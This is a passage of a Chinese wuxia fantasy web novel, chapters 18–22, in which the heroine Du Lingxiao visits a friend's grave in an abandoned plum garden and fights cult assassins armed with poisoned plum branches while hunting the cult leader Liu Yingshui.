就连将军世界的云章也因为被救助以后头脑不清晰反应迟钝，等到逐渐能够正常行动和思考以后才变成了那副狂热的模样。 不过眼前的名为林云章的个体言语真诚，除了情绪过于激烈以至于有些莫名其妙，外放地不像正常云章以外，倒是能够信任。毕竟在向往光明脱离黑暗一事上，几乎所有的云章都展现出了对真善美的追求。即便出生于糟糕血腥的环境也没有发生改变这个灵魂。 凌霄最终决定交付给云章信任：“好吧，那你就负责告诉我刘应水经常出没的地点。” “不是吧，凭什么我和聂雨林一个闻不到一个听不到，他就能让你直接信任了！”正欲撤退去找安全地方避风头的范千桑咽不下这口气，迈出去的脚步顿时收了回来，“他可是被尊称为灵水教的圣子，怎么想都是刘应水最忠实的手下吧！这不公平！” 聂雨林正在和冯舞清偷偷对暗号，在察觉到范千桑的激烈发言之后，若有所思打量了江云章一番。看在江云章很多时候都足够安静，除了心跳声以外没有吵到自己的份上，聂雨林决定帮对方说一句：“我倒是觉得林公子比你值得信任多了。” 而且冯舞清的平静反应也让聂雨林确定了江云章说的绝对都是真话。不然现在极为推崇度邪大侠的好友一定会第一个跳出来证明江云章不怀好意。 江云章一点都没把范千桑的挑衅放在心上：“如果您不信任我的话，封我几层内力都没有关系。” “不用了，现在最重要的是在检查完梅园以后找出刘应水的行踪。”凌霄拒绝了江云章的提议，“他有和你交代过自己的计划吗？向我下血咒的聂雨林很快就会暴露，后续任务需要你来执行吧。” 江云章点头称是：“没错，我是负责监督血咒状况才跟过来的保险措施。不过刘应水只吩咐了我要确保血咒种上，后续计划一点也没向我透露。我只知道他经常去的几个实验室，其中有一个离寿海很近，他从死亡剑、手里得到的东西大部分都放在那个医馆。” 凌霄转了一下自己手里的匕首：“血咒种下之后刘应水会感应到，所以也不需要你去亲自汇报情况，省去了透露行踪的可能性。他在教内还有什么比较信任的成员吗？” 正常流程应该是度邪大侠在成功救出人质打败坏人后十分可惜染上了血咒，随后被血咒影响身体出现一系列无法医治的问题。而刘应水只需要坐等时机，在度邪大侠最虚弱的时刻偷袭得到自己想要的全部东西。所以他将自己的身影层层叠叠伪装了起来，甚至连部下都不清楚他的行踪。 江云章忍着头痛翻看自己的记忆，皱起了眉头：“他最近倒是和医馆的叶青山叶医生交流颇多，但是叶医生并没有参与到灵水教的事物中。” 江云章对所有和杜凌霄关系不错的男性朋友都抱着抵触态度，因此念到叶青山的名字时，还夹杂了几分迁怒。因为想起了自己印象里的那位天才科学家叶青山，对方是现代社会杜凌霄的好友。 凌霄将他对叶青山的态度默默记在了心里：“那么看来他最近是打算独自研究了。血咒只有在一定距离内才能感应到施咒者的位置，出了梅园，正好在离寿海最近的地方探查情况。” “我也要跟着你们。”范千桑站在门口，显然是中途改变了心思没有再急着离开，“这样我的嗅觉也能够第一时间恢复了吧？” “小狗先生还是说实话比较好。”冯舞清不喜欢过去的相识的人渣接近自己的大师姐，“我看到了谎言哦。” “他是不好意思承认想看刘应水笑话吧。”聂雨林撇了范千桑一眼，“毕竟他最爱落进下石了。不过让我也跟着你们好了，刘应水威胁我亲自做人质的仇我可还没报。” 她漆黑的眼睛笔直注视着自己的好友，心照不宣向她示意：“我可没有说谎吧？” 冯舞清露出了笑容：“没 18. 018 《杜凌霄，度恶诛邪》全本免费阅读 由凌霄坐镇，冯舞清和江云章负责毫无保留追随维护，聂雨林负责沉默，范千桑负责被针对促进团结，心思各异的小队就这样集结完毕，并迅速向着寿海的梅园前进。 岁月的流逝无声无息改变了寿海，自然也一视同仁没有放过梅园。曾经冠绝寿海的一景如今只留下了梅花粥里依旧浓郁的香气，使得旅人们要疑惑许久才能隐隐约约想起寿海特色梅花粥的来历，回忆起多年前让无数人驻足停留，魂牵梦萦的梅香。 当初的梅园在人类眼里已经变作了废弃的深林，对植物而言却是能够放肆生长的天堂。梅花不再一枝独秀，反而脱去孤独成为了绚丽世界的一部分，在数不尽的同类里绽放出依然如旧的光彩。只是梅园到底已经不再是为人类开辟出小路的幽静天地，丛生的杂草化为了拦路的阻碍，彻底将其改造成了天然的迷宫。 最清楚梅园近况的范千桑决定通过优秀表现赢得好感，尽快换取自由：“梅园的环境已经和过去大不相同，刘应水可能也做了些手脚，但要若我的鼻子……” “不必。”凌霄抬头看了眼划过天空的信鸽，“我不可能找不到凝海的位置。” 踏入寿海地界以后她便一直感受着血咒的状态，却没能得到想要的反应。刘应水此时不在寿海，也正好她空出些时间和门派内的弟子们交流情报。在聂雨林之前失踪的那些年轻人们最开始只是偶然，随后被灵水教见机行事将水搅得更加浑浊。好在玄一派门下和相关人士已经迅速解决了事件，只剩下最后的收尾工作。 她率先踏入面目全非的梅园，飞身跃至树梢，很快就确定了记忆中的路径。久无人烟，梅树间的空隙尽数被杂草灌木所掩埋，肆意生长的植物们根本没有为人类留下空隙的意图，凌乱中颇有些生机勃勃的同时，也几乎无处下脚。因此旧梅园遗址变成了一种对轻功的考验。 视觉不便的冯舞清实际上并没有轻功这个短板，但她根本不会放弃拉近与大师姐距离的机会。她此刻抬头看向凌霄轻盈的身影，用那双无神的黯淡眼瞳表达自己的渴求。 虽然行动不及凌霄迅速，范千桑却早已经站上树梢。他有些许洁癖，皮肤上又残存着剧毒，难免有些担心连多摘了一根芦苇都会可惜的度邪大侠为自己毒死植物算账，于是立即选定了自己的行动方式。 倒是居高临下的视角让他将冯舞清脸上的细节一览无遗，自然更不会放弃能够嘲讽对方的机会：“这不正是你的眼睛派上用场的时候吗？区区树枝怎么可能难倒我们天眼。” 揽着冯舞清的腰将她带上树梢的凌霄无言看向范千桑。一人的重量对她而言不过举手之劳，甚至还能分出注意力顾及到舒适程度。她用右手臂支撑着冯舞清的重量，重新落在树梢时甚至没能惊起树枝颤动。 撒娇成功的天眼本人冲着看向自己的几人露出了十分刺眼的笑容：“小狗先生还是少说几句话比较安全，不然等会儿连半投诚的功劳都要没有了。” 难得屏蔽了听觉可以自由行走的聂雨林完全沉浸在自己的世界里，踏着枯枝烂叶也改变不了她的好心情。安静的梅园实在是美妙至极，连在草丛中行走都不会像过去那样一步一个地雷一样的折磨。因此她完全没有注意到自己身后江云章满含艳羡的目光。 有范千桑这样妒意中会下意识掺杂阴毒眼神的例子在前，江云光单纯的羡慕反而成为了不痛不痒甚至还让人感到得意的目光。凌霄记下他的心性，随后不再过多关注，脚步加快向着目的地飞驰而去。 梅凝海的坟墓遵从本人的意愿，在外部几乎没有留下任何痕迹。没有墓碑也没有土堆，没有祭奠用品自然也就没有人类的痕迹。只剩下自然生长的空白，就仿佛她从未到达过此地一般。 凌霄在距离当初的梅树还有几步时干脆利落跳下树梢，轻轻将冯舞清也一同放回地面。徒步走向自己朋友残存在人间最后的痕迹。枯枝放大了她的脚步声，又被鸟雀惊扰时展翅的声响所掩埋。 这株得到了异常养分的梅树因此显露出些许不同来，粗壮而有力的枝干彻底背离死亡，笔直地向着上空和太阳不断延伸。 “她完整地躺在下面。”冯舞清落后凌霄半步，轻声解说自己所看到的事实，“除了她以外没有任何东西。” “刘应水取走了她的石棒。”凌霄心下了然。死亡剑的“剑”，显然被刘应水认为很有研究价值。 这座过于简陋的坟墓已经被重新掩埋，只有新土和周围新生的植物能够证明这里曾经被心怀不轨的人挖开过。 冯舞清强忍着靠近杜凌霄的欲望，悄悄瞪了一眼范千桑：“太冷了……我从未见过这样颜色的死亡。连死水先生恐怕都无法抵挡她残留的痕迹，所以才重新将她完整的掩埋了。” 范千桑从来没有提起死亡剑的尸体竟然如此恐怖。 对他们这些感官异常灵敏的人来说，对方留存在人世上的最后痕迹也依旧散发着浓郁的死亡。并且由于生与死的距离过近，与一般尸体上残存的杀意和悔恨截然不同，更像是从黄泉之下蔓延出来的黑暗本身。 冯舞清有理由相信对方的肯定也能通过嗅觉感受到这份与死亡相伴的恐惧，只不过出于看热闹坑人的心理，根本没有提醒冯舞清的意思。这家伙现在正好整以暇站在离坟墓最远的地方，冲着冯舞清露出了无辜的笑容。似乎很满意让自己恐惧的事物同样带给了损友恐惧。 “呵。”凌霄冷笑一声，“凝海几乎没有留下除了死亡以外的任何东西，刘应水自然没办法带走她。” 若是刘应水将尸骨一同带离，那么现在等着凌霄上钩的可能就是一滩血水了。属于死亡剑的死亡自然会顺着接触攀上刘应水的身体。可惜这家伙并不会犯低级错误，比较保守的选择了混合有度邪大侠血液的泥土和层层叠叠刻印上无数人血液的石棒。在贪婪和性命面前敏锐地选择了自己的性命。 凌霄半蹲在梅凝海的坟前，将收集到的枯叶均匀洒在了其上。 树叶层层叠叠几乎见不到阳光的旧梅园里生出了远离人世的寂静。即便是一直偏爱着凌霄的太阳也无法隔着重重阻碍将温度带到她的身边。她的眼神专注异常，在阴影中如同酝酿着风暴的广袤海洋，偶尔泛起如同错觉般的金色光芒。 死亡剑所见证的最后一场死亡便是其□□本身的死亡，其余的死亡，不论是纸钱燃烧的死亡还是为了她摘下花朵祭奠的死亡，都会被她拒绝。因此凌霄选择了同样经历过死亡的物品。 “我会让他付出代价的。”凌霄向梅凝海做出承诺。 她很清楚自己得不到任何回应。她的朋友早就已经消失在了尘世之中，留给她的仅剩下无用的回忆。甚至连押着刘应水前来磕头都不过是为了平息她自己怒意的举动。回抱了死亡的梅凝海 19. 019 《杜凌霄，度恶诛邪》全本免费阅读 “云光都没有要求我一定要规规矩矩称呼师姐，小兰溪不要那么较真嘛。”冯舞清性格中的恶劣因子蠢蠢欲动，非常希望李兰溪的情绪波动能让自己尽快脱离死亡带来的寒冷。 听到熟悉的名字，正在绞尽脑汁思索往生咒全文到底是哪些字句的江云章下意识抬起了头。在看到熟悉的面孔以后尽管极力掩饰，到底没能控制住自己下意识瞪大了的眼瞳。 他第一次在现实中亲眼见到和自己遭遇相似的李兰溪，万万没想到还是在他至今都没能弄清楚运转规则的平行世界里。好在凌霄身边跟着的几个血腥气息浓厚的陌生面孔成功让他的存在感低了下去，没能引起除凌霄之外的注意。而李兰溪本人还在和纠结冯舞清的称呼问题，于是也没能注意到陌生人看向自己目光中蕴藏的熟悉。 范千桑听到冯师妹这三个字之后就开始笑：“我们冯天眼现在是门派里辈分最小的了？哈哈哈哈哈，你也有今天啊，冯师妹。” 李兰溪立刻皱着眉头看向出声打断自己说话的范千桑。教导她的长辈们都是稳重认真的性格，因此也将这一份严谨在日积月累中交付到了李兰溪身上。出于对门派内弟子的维护以及对陌生人士的警惕，她完全没有掩饰自己的敌意：“这位无关人士，请慎言。冯师妹的眼睛不是你可以拿来取乐的事情。” 由于年龄限制，她比范千桑矮了两个头的高度都不止，偏偏此刻义正词严的气势成功压制住了正在言语攻击损友的家伙。 范千桑的笑声戛然而止。 他这才正眼打量站在自己身前的玄一派弟子。从初步学有所成的武功到绣有玄一派纹样的劲装，还有杜凌霄言语动作中对其的爱护和关心。这一切都让范千桑越看越觉得刺眼。不过玄一派大师姐和新入门的小师妹正虎视眈眈盯着自己的反应，惜命的他能屈能伸，勉勉强强从唇缝里挤出了一句：“抱歉。” “你向我道歉又有何用？应该向冯师妹……”李兰溪的眉头并未松开。 “谢谢小兰溪的关心。”冯舞清伸手拍了拍女孩的肩膀，语气里的满不在意很是真诚，“我也叫他小狗先生呢，所以我们扯平了。” “怎么能叫人是狗呢？”李兰溪很认真地看回自己师妹。她遇上错事向来除了杜凌霄以外的人一视同仁。因为杜凌霄不会出错。 冯舞清当然不会在这种事情上和年纪尚小却学了不少死板事情的小师姐纠缠，所以她干脆利落推出大师姐转移李兰溪的目标：“诶？不是已经让小兰溪亲自带话了吗，怎么又有信鸽来找大师姐。” 凌霄原本正带着笑意看李兰溪和大家交谈。踏出梅园的那一刻起她便已经整理好了自己的情绪，不再让对梅凝海的思念和回忆波动自己的心弦。说到底，有资格重温那份缥缈梦境的到底仅限于度邪大侠，同步了度邪大侠记忆的凌霄没有时间伤春悲秋，应该将矛头直指迫使自己来到这个平行世界的原因。 不过她也清楚无法控制的情绪问题只能疏不能堵，所以正好借自己面前这张年幼的面孔，重新唤醒自己作为生者的职责，以及作为生者的幸运。 李兰溪是少有的凌霄在现代世界救助之后还记得名字和长相的人。许多年前，凌霄从□□手里将她救下后，由于无家可归，李兰溪便被凌霄的熟人所收养。凌霄几乎是亲眼见证了她一路以来的磕磕绊绊却又执着向前迈进的身姿。因此在武侠世界再一次看到视作妹妹的李兰溪茁壮成长，凌霄感到十分愉快。 缘分让她们在不同的世界也依旧相遇，成为了能够并肩作战的同伴。没有什么比这更让凌霄感到满足的了。 信鸽煽动翅膀时羽翼的颤动将凌霄的注意力从李兰溪身上拉走。她抬起手让信鸽在自己的手臂上平稳降落，快速拆开了绑在信鸽脚上的信件。刚刚展开信纸，密密麻麻的文字就像是突然被赋予了声音，化作絮絮叨叨的呜咽声向她袭来。 “是叶青山。”凌霄拿在武林世界也和自己一同长大的青梅竹马没有办法，忍不住叹了口气，顺手将信鸽放入了一直默默观察的聂雨林怀中。 聂雨林没有预料到凌霄的举动，被她突如其来的好意吓了一跳。但到底拒绝不了几乎从未触摸过的活着的生灵，小心翼翼碰了碰信鸽洁白无瑕的羽毛。她无言凝视着自己怀中安静温顺的地雷，飞快地看了一眼凌霄的背影，这才又沉默着低下头。 “叶大夫明明已经把所有要传递的信息都告诉我了。”李兰溪紧张地注视着几乎快要被墨水染成全黑的信纸，生怕自己的任务失败，没能做好传达消息的重要工作。 “不是你的问题，是青山怕我怪罪他，专门写了封道歉信。”凌霄摸了摸李兰溪的头，不过片刻就已经从大段的无意义字句里提取出了关键信息。 “林云章说青山和刘应水有过交流，青山没想到自己的同行会对我出手，非常愧疚。” 叶青山叶大夫是出了名的神医，以至于江湖中流传起了“青山依旧，黄泉回首”的美名。他和凌霄自幼相识，于习武一道上毫无天分，却在医道上越走越远，逐渐废寝忘食醉心于医术研究。 为此，即便是业内风评好坏参半行事诡异的同行，还是毒术高超亦正亦邪的毒师，他都愿意与对方平等交流悉心求教。再加上身为医者对病人来者不拒，美名远扬的同时，也经常会遇上大奸大恶之辈用医德来威胁他。 不过有度邪大侠作为靠山的叶青山当然不怕这些家伙。 如果是能让他医术有进步的，他会在将对方的知识彻底吸收干净之后将其举报给玄一派的弟子。如果是单纯用武力威胁他医治恶人的，他也会先灌上对方几桶挑战味觉底线的苦药，然后在对方即将痊愈的前一天联系玄一派的弟子。 他对医术的钻研过于认真，往往会忽视别的细节。因此刘应水这样会用研究产物治疗病人，从不亲力亲为杀人，导致气息较为干净的灵水教教主就成为了漏网之鱼，混入了叶青山的交际圈。若非凌霄的提醒，他根本想不到触类旁通拥有一堆奇妙想法的刘兄竟然是江湖中行踪莫测的灵水教教主。 不过刘兄竟然对凌霄下毒手，自然就从刘兄变成了刘渣滓。 他心中的愧疚犹如江水一般滔滔不绝，一想到自己曾和对凌霄有恶意的人交流过就被恶心得头疼。因此在将要事告知李兰溪之后，还是没能忍住，亲自动笔写了一封充满了愧疚与痛苦的道歉信。心里字字血泪，又心疼又难过，又伤心被骗，又愧疚连累了最重要的凌霄，就差没在凌霄面前痛哭一场。 不过也可能是在李兰溪面前为了维护成年人的脸面和神医的气度，强行忍住了滔滔不绝的眼泪。 江云章在听到叶青山这个名字以后就一直盯着凌霄手里的信封。他对与凌霄青梅竹马叶青山的敌意被自己的妹妹概括为同类相斥和嫉妒。他并没有承认的意思，只是单纯讨厌心理承受能力不强却又 20. 020 《杜凌霄，度恶诛邪》全本免费阅读 江云章很快就挥散了这个过于离奇的想法。 毕竟度邪大侠是杜凌霄平行世界的同位体，两人之间再怎么相似都是正常情况。自己偶尔借人思人以抵御翻查脑内记忆带来的疼痛倒还好，真将两人混为一谈是对二者的同样不尊重。即便度邪大侠品行高尚行侠仗义，以长枪涤荡邪恶，是值得尊敬的侠者。 可对江云章而言独一无二的太阳依旧还是在最为黑暗的日子里向自己伸出了手，拯救自己于泥潭之中，生长在现代社会的杜凌霄。 凌霄若无其事继续了当前的话题：“灵水教的据点在永江西岸？” 江云章干脆地点头：“临近江边的环境似乎对刘应水的研究很有助益，他……” “有刺客！”在视野里察觉到污渍的冯舞清察觉到异常后立刻出声提醒，随即将李兰溪护在了自己身后。 江云章口中的话还没有说完，一支泛着寒冷杀意的暗器就直直向着他的咽喉处，破空而至。 模糊的黑影移动速度过于迅速，直到闪现至身前，才露出了自己的真面目。零碎的淡红色花苞点缀在深褐色的枝条上，原本含苞待放的花朵在空中迎来了自己最完美的时机，向着受害人类露出了最灿烂最夺目的色彩——赫然是他们在旧梅园刚刚见识过的梅花。 被当做暗器使用的梅花枝与凌霄手里的匕首相撞，发出了匪夷所系的清脆声响。凹凸不平的深棕色树皮在太阳下折射出了带着血光的不详色泽，并在触碰到物体后迅速化作腐蚀性的血水，滴落在地，斯斯作响。 凌霄一掌推开急急忙忙架起长剑的江云章，用匕首凌空劈断了向着冯舞清和李兰溪方向杀去的梅花。她冲着暗器发射的方向扭身踢出了自己的匕首，一边分神提醒道：“不要碰到花枝！” 随后她踏步飞身而起，迎着逐渐散发出甜腻香意的梅花枝，瞬间闪身到了敌人身前。 左手的血咒正隐隐与梅花的香气呼应，变得蠢蠢欲动，似要吞噬凌霄血肉一般张狂起来。但凌霄不以为意，反而凭借着血咒的鼓动反向定位出了身携梅花枝敌人们的具体方位。树林对于视线的遮挡作用彻底失效，活跃的血咒遵从本能渴望着更多的鲜血。 藏在树下的偷袭者已经被梅花匕首刺入肩膀钉在了身后的树上。但依旧执着地用另一只完好无损的手操控暗器攻击凌霄。由于目标过为显眼，他率先被凌霄一掌劈在脖子上，以昏迷退场。 梅花枝的高超杀伤力注定了同样高的成本，是无法量产的武器。因此直接突入敌阵沐浴着如雨的暗器也依旧游刃有余，甚至还能分出心神率先干掉了攻击李兰溪他们的家伙。 占据了高位立于树上的偷袭者丝毫没有关心同伴的安危的意识，额头冒着冷汗依旧坚定瞄准了强大到可怕的度邪大侠。教主明明已经确定了对方会在血咒的影响下实力大减，再加上梅花枝的毒素，是最好的能将她重伤的时机。然而直到他们所携带的梅花枝被用去大半，地表一片坑坑洼洼的丑陋景象，他们都依旧没有触碰到度邪大侠的一片衣角。 偷袭者的手已经开始颤抖。 度邪大侠带来的强烈压迫感犹如一记重锤，猛烈地摧毁了他的呼吸。本该安静的树林里顷刻之间只剩下同伴的满怀痛楚的一声惨叫，随后就因为陷入昏迷彻底寂静下来。 树叶作为帮助他们掩藏身形的重要道具，此刻也成为了度邪大侠的同伴。梅花清隽的香气变成了令人窒息的毒药，汗水从额头无声滑落浸湿了他的眼角，模糊了他的视线。使得他越发无法正确抓住那稍纵即逝的身影。 度邪大侠悄无声息落在了同一根树枝上。 树林安静到令人恐惧。他只能听清自己的呼吸声，还有剧烈到快要爆炸的心跳声。即便是训练有素的死士，也依旧无法克制自己在面对恐惧之时的本能反应。他下意识将手中特制的弩对准了这道代表着恐惧的身影，但也同时清楚地意识到一切不过是徒劳。 凌霄最后留下他不过是想研究一下他手中弩的结构而已。他埋伏在最高的树上，因此手中的武器也与同伴们有所不同，做出了相应的改良。 偷袭者很快意识到了这件事情。 他用尽全身力气克制住手指的颤抖，将梅花枝冲着凌霄的心口处射出。 轻松侧身躲过梅花枝暗器的凌霄擦着树枝向他飞来，翻飞的衣角在阳光下被染上了金光，耀眼到深深烙印在了他的眼瞳之中。 他闭上了眼睛。像是已经彻底放弃了挣扎。 毫无胜算。 两个人的思维在此同步。 只不过一人速度未减，而另一人放下了武器。 失去了支撑的弩在空中坠落。等待着落地，一切终结。 如同它的主人一般干脆利落。 偷袭者已经感觉到了凌霄行动之时扑面而来的气流。他表情平静，尘埃落定，将手缓慢垂下—— 然后抽出早就藏好的梅花枝狠狠地刺向凌霄的脖颈！ 他成为了第一个将梅花枝的全部功效彻底展现在凌霄眼前的人。 接触到血肉的梅花枝立即散发出一股令人头晕目眩的血腥气味，原本冷淡清新的梅香瞬间消失不见，取而代之的是浓烈到刺骨的寒意和死亡的气味。被腐蚀掉的皮肤彻底溃烂，鲜血顺着梅花枝淌过偷袭者的手臂，源源不断滴落。脆弱而轻薄的手掌顷刻之间已经露出森森白骨，用不了多久显然就会彻底将整只手都一同吞噬干净。 偷袭者的脸已经因为剧痛而扭曲，眼睛则是在汗水和紧张的作用下彻底无法睁开。他全身上下的力量都集中在了仅剩下骨头尚未散架的手上，只等着自己孤抛一掷的攻击能够彻底带来终结。 凌霄轻轻叹了口气。 随后轻描淡写在冷风接触到自己脖颈的前一秒，将偷袭者踢落树梢。 她完好无损于一片血腥气味之中落在树枝上，低头观察了一番树干的情况，随后十分满意地点了点头。很好，不枉她情急之下选择了直接用内力轰碎树干以外的方式，成功让梅花枝给自然带来的损害又降低了些许。 被凌霄落下的众人此刻才堪堪赶来，正好目睹了她在树枝上心满意足点头的一幕。 范千桑的嘴角开始抽搐：“别告诉我杜大侠是因为树枝没有折断在开心。” “小狗先生真聪明。”冯舞清盯着杜凌霄洗眼睛，一点都不想让地上到处都是的污秽玷污自己的视野，“你猜对了。大师姐就是在为这件事情高兴。” 担心伤到信鸽的聂雨林早就在第一时间放飞了鸽子，于是只好不停转换视线去读同伴们的唇语。 凌霄为树枝高兴完，很快就皱 21. 021 《杜凌霄，度恶诛邪》全本免费阅读 “刘应水对凝海血中的力量觊觎已久，才费尽心思研究出了这样歹毒的产物。”凌霄左手的血咒依旧持续鼓动着，仿佛另一个心脏藏在她的手中，急于挣脱束缚获得生命，“范千桑应该是猜测以刘应水的执念不会干脆放弃，但并不知晓他具体制造出了何物。” 作为在场所有人之中唯一亲眼见过死亡剑的人，凌霄从梅花枝的香气里感受到了熟悉的死亡气息。结合江云章提过一句刘应水正在用血液培育植物，这些梅花应该就是吸收了梅凝海血液后生长出来的造物。 不对，这根本说不通。 梅凝海的死亡，是死亡剑的死亡。 绝无可能遗留下任何会被不怀好意的家伙利用的残渣。她的血液也早已经渗入深深的地下，被永远埋藏。和充斥着活气的杜凌霄的血液是两种截然不同的状态。 死亡剑还活着的时候刘应水绝对没有那个胆量和能力从对方身上得到血液。那么她感应到的死亡气息是错觉？不，这样程度的死亡不会出错。这是许多年前环绕在死亡剑周身的东西，也是最终带走了死亡剑的平静绝望。 “没错没错。”范千桑连忙点头应是，为自己脱罪，“我就是知道刘应水的人生词典里从来没有放弃一说，才觉得他肯定有什么底牌没出而已。至于他到底又还能做些什么，就全然不知了。” “是真话。”冯舞清微微一笑，“我都看到了。” 凌霄猛然想起了被刘应水拿走，浸透了数不尽恶人血液的石棒。 “不，那不是凝海的血。”一切都说得通了，凌霄推翻了自己先前的猜测，“刘应水用死亡剑的剑模拟出了死亡剑的血液。至少那上面层层叠叠堆积的人血是最接近死亡剑状态的东西，也更容易入手……” 范千桑没有听懂凌霄的推断，但能够将功补过试图提供消息：“我只知道他拿着个石棒起码研究了一年。” “是真话。”冯舞清继续判断，“你知道的还真不少。” 范千桑意识到这位老朋友前所未有的认真。因为现在这张脸上的笑意已经能够让任何人都意识到是虚假的。说明她已经失去了用心维护自己表情的余裕。 他感到匪夷所思，无法理解度邪大侠究竟给一个冷酷无情，只将人类当做取乐玩具的杀手灌了什么迷魂汤。放下屠刀立地成佛不过是存在于传说中的荒诞故事，范千桑不相信自己要是把冯舞清这些年来杀过人的名单告诉度邪大侠的话，度邪大侠与她相处之时还能如此毫无芥蒂。 不管那些已经变成亡灵除了名字以外派不上用场的家伙们，就算是范千桑自己都不同意。凭什么比自己还要糟糕的冯舞清现在能洗白名声投入正派让武林最传奇强大的人来做她的靠山？凭什么自己都这么迅速的悔改了还要被糟心的家伙拖后腿？凭什么林云章什么都不用做只因为没有杀人就能得到信任？ 凭什么？ 于是他下意识看向此地自己第二熟悉的聂雨林，然后在对方充满了敌意的眼神中意识到自己彻底没有了同伴。一只信鸽就能收买杀人不眨眼恨不得这世上除了她就没有活物的聂雨林？ 没有比这更好的笑话了。但范千桑笑不出来。 他略微思索了一下，毫不犹豫用江云章挡住了所有看向自己的视线。 “刘应水希望用梅花枝强化血咒对我的侵蚀度。”凌霄在内心冷笑一声，对方下意识喜欢走捷径的习惯倒是从未改变，“他如此缺乏耐心，对我而言倒是好事。” “大师姐，血咒……”冯舞清看到了血咒的活化，脸上原本刻意的笑容更加淡了几分，“我可以审问死士。” “不必担心。”凌霄运转内功，重新抑制住不停跳动的血咒。侵入她躯体的外来者自然也会受到她的桎梏，即便血咒的源头掺杂了杜凌霄自己的血液，依旧没有任何威胁力。不用她刻意出手，用不了多久血咒也会被玄水经彻底同化。 这是凌霄从度邪真君那里学会的道法。 万法归一，大道皆同。 “倒是正好试验一下青山的研究成果。” 刘应水的能力确实毋庸置疑，用死亡剑的剑都能研制出几乎以假乱真，连凌霄都差点被骗过去的东西。然而站在她身旁为了正义奔走救人的，还有同样才华横溢的叶青山。 她从自己怀中取出了叶青山之前长篇大论，几乎让墨水浸满了整张纸的信件。撕下其中一角，将其扔在了新生出的血坑之中。 信纸在接触到沾染着血水的土壤后，立刻迸溅出火星，火花瞬间吞噬了整个血坑，并伴随着“嘭”的一声，将坑里的所有东西都烧了个干干净净。随后自己也在火光中一闪而逝，只留下了干燥的浅坑。 凌霄观察了一番信纸的功效，将信纸撕成碎片递给了众人：“这是青山根据和刘应水交流时学到的旁门知识，自己研究出来具有对血液活性克制功能的液体。对付地上的残留物效果确实不错，不过活人身上还是需要更多剂量才能起效。” 凌霄刚拿到信纸就已经从墨水的颜色和触感中察觉到了不寻常。按照度邪大侠和她自己一贯以来的经验而言，叶青山写这种哭诉信件向来是发泄情绪为主，从不会在意纸张数量的限制和信鸽的承受限度。这张密密麻麻被挤在一张纸里的哭诉实在不像是叶青山惯常的作风。 而且这个泪腺发达的家伙写哭诉信是会真的哭出来的。但自己收到的信里一点泪痕都没有。不寻常之中夹杂了太多可疑之处，再加上叶青山说自己根据刘应水的论题研究出了能够克制血液活性和解决血咒的黑色液体，凌霄很快就意识到了这张信纸到底是用什么东西写就。 作为一名真正的医生，叶青山和刘应水不同。遇到崭新的课题，他永远都会站在疗愈和修复的那一边，探寻如何让人类避免受到血咒伤害的方法。 叶青山位于寿海的医馆也和永江相近，刘应水根据地的风吹草动都逃不出附近民众的几百双眼睛。灵水教教主确实不在寿海，但他隐藏起来的东西还在寿海一带活动。为了让刘应水主动暴露自己的底牌，叶青山选择了如此迂回的方式。让李兰溪位于明处，而自己的信件位于暗处。 当然，这更可能是某个希望能够让师妹历练一番的桃师弟做出的决定。 尚未遇到凌霄时的李兰溪很安全，而遇到凌霄以后，凌霄的身边最为安全。 对于一心想要帮助大家做出一番成果的李兰溪而言，没有什么比交付自己任务更激动人心的了。就算只是跑腿都能 22. 022 《杜凌霄，度恶诛邪》全本免费阅读 最先映入眼帘的是淡粉色的素雅长衫，在绿意盎然的树丛之间，即便没有被阳光直射，依旧带来了令人眼前一亮的错觉。 明亮的色泽一直以来对穿着者都有较高的要求，不过此刻出现在他们身前风度翩翩的公子自然和点缀在自己身上的色彩相映成趣。不论是温和的眉眼还是从容的姿态，还有被服饰修饰得淡雅的体态，都足以在第一面时让人生出知书达礼书生的错觉，忽视了那双黑瞳里偶尔一闪而逝的火光。 只有细心之人才能在蛛丝马迹之中察觉到，来者腰间系着的用来装饰点缀的玉佩挂饰，在他从容的步履之中，没有发出任何细微碰撞的声响，寂静异常。 最先有反应的是李兰溪，她双眼一亮，高兴地与一直以来照顾自己的长辈打招呼：“桃师兄！” 桃正谦点头，微微一笑：“兰溪还帮忙清理场地了？做得真不错。” “我会继续努力的！”李兰溪捏着凌霄的袖子保证。 “你怎么亲自过来了？”凌霄的注意力全在桃正谦身后的玄一派弟子们身上。 他们拿着同款的药瓶，将其中的黑色液体均匀洒在土地上，井然有序来时清理血坑的残余。另一部分则是跟在桃正谦身后进了树丛，动作迅速熟练地将灵水教的教徒们搬离了危险场地。 “这是受伤最严重的一个，记得直接带去找青山。”凌霄叮嘱了从自己身边撤退的弟子几句，“其余的只是昏迷，检查完危险物品以后按规则行事就好。” “血咒的事情我也很担心，自然还是亲自走一趟最稳妥。”桃正谦有些无奈地叹了口气，“到最后，这几位陌生小姐公子的安顿还要我加急处理，怎么也要提前确认一眼吧？” 桃正谦是度邪大侠的师弟，也是掌管玄一派庶务的优秀后勤人员。上到内务外务对外交流下到清理战场传递消息，都能够完美达成。他和江云光的姐姐江云天两人一个办事一个管钱，再加上强大到无可匹敌的度邪大侠，以及凝聚人心经营门派的鄢眀济，四人成为了玄一派的坚实后盾。 度邪大侠在干掉奸恶之辈以后也会将人交给桃正谦来处理后续。按照律法和官府合作，该死刑死刑，该赔偿的用家产赔偿。确保无论是普通老百姓还是武林中人都能得到一个较为公平的结果。也省去了度邪大侠在惩恶扬善之后，还要拎着恶人衣领将其晃清醒，讨要受害者赔偿金的麻烦步骤。 冯舞清加入玄一派的相关程序也是桃正谦定下的流程。意图弃暗从明的冯舞清戴罪立功，和度邪大侠联手剿灭了许多犯罪团伙之后又领取任务多跑了几趟，在桃正谦的安排下还去往官府帮忙解决了一众复杂的刑事案件，这才在度邪大侠的保证和桃正谦的判断下，将自己快写满一张纸的罪行彻底翻篇。 若非冯舞清性格使然，只喜欢抹去那些肮脏或者是介于明亮和污浊两者之间的色彩，导致她手里的人命只有一小部分称得上是清白无辜，别的都是罪有应得。否则冯舞清恐怕还无法如此迅速加入玄一派，得到大家发自内心的认可和欢迎。 凌霄因为灵水教的事件暂时与范千桑和聂雨林、林云章三人同行，而解决了刘应水之后肯定还是要劳烦桃正谦来处理几人的后续安排。因此桃正谦的话十分正确，让人找不到能够反驳的地方。 然而桃正谦不会让自己的话落在地上，没有掩饰自己眼中的光彩：“当然，我很相信师姐的判断。不过事关青山研制出来的‘去血水’，我再谨慎些许防止消息泄露，想来会更加稳妥。” 他信任凌霄，但无法信任灵水教的成员。 这位温文尔雅的翩翩公子第一次露出了自己身为武者的锋利气势，带着淡然的表情看向灵水教的三人：“希望你们不会辜负师姐的信任。” 